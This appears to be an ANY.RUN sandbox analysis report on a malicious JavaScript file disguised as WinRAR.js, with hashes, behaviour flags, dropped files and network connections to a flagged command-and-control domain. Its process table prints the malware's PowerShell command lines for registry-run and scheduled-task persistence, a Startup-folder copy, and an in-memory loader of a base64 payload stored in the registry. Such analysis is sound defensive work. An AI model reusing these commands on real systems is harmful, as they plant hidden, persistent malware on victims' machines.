analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

WinRAR.js

Full analysis: https://app.any.run/tasks/62efad4f-2732-4a94-bd86-5ab9897b0bd6
Verdict: Malicious activity
Analysis date: March 21, 2019, 11:05:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with no line terminators
MD5:

1A443C2FEE7C2032549BDEFC98F0E9E0

SHA1:

17805B746673B6DBF8AD71F4DD2EA220A598C486

SHA256:

6BBC1C68A93077B02A6FD2AA8244429449D4E577C2FADDEBA1E4DD7E234EEEB1

SSDEEP:

768:kzivJcDFoQ0SbzPrZdmuAgme0wfjLp0LGo9/FT7cH4VZsmU/EkVz7TMpSjVFGvqn:kzifQ0ynZdqvOfjIj9/j/sXr7hjVAvZ0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Changes the autorun value in the registry

      • powershell.exe (PID: 3288)
    • Writes to a start menu file

      • powershell.exe (PID: 1788)
    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 4044)
    • Uses Task Scheduler to run other applications

      • powershell.exe (PID: 3596)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • WScript.exe (PID: 688)
    • Creates files in the user directory

      • powershell.exe (PID: 3288)
      • powershell.exe (PID: 1788)
      • powershell.exe (PID: 3596)
      • powershell.exe (PID: 2032)
    • Connects to unusual port

      • powershell.exe (PID: 2032)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
6
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe powershell.exe no specs powershell.exe powershell.exe schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
688"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\WinRAR.js"C:\Windows\System32\WScript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3288"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'FileName' -value 'C:\Users\admin\AppData\Local\Temp\WinRAR.js' -PropertyType String -Force;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3596"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "schtasks /create /sc minute /mo 45 /tn start /tr 'C:\Users\admin\AppData\Local\Temp\WinRAR.js'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1788"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\WinRAR.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\WinRAR.js'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2032"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'start').start;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4044"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 45 /tn start /tr C:\Users\admin\AppData\Local\Temp\WinRAR.jsC:\Windows\system32\schtasks.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
771
Read events
521
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
8
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
3288powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MWAK91PDW31308ICV10H.temp
MD5:
SHA256:
3596powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6GB03FVLR7612KR42GYN.temp
MD5:
SHA256:
1788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IKWI0IRF42WCPMMIQGFY.temp
MD5:
SHA256:
2032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QQ0ZSVQPHNHNRS4G58D1.temp
MD5:
SHA256:
3288powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8b5e.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8bcc.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
3596powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRAR.jstext
MD5:1A443C2FEE7C2032549BDEFC98F0E9E0
SHA256:6BBC1C68A93077B02A6FD2AA8244429449D4E577C2FADDEBA1E4DD7E234EEEB1
2032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8bdb.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
12
DNS requests
2
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2032
powershell.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
2032
powershell.exe
194.5.97.145:21000
holydns.warzonedns.com
FR
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
holydns.warzonedns.com
  • 194.5.97.145
malicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info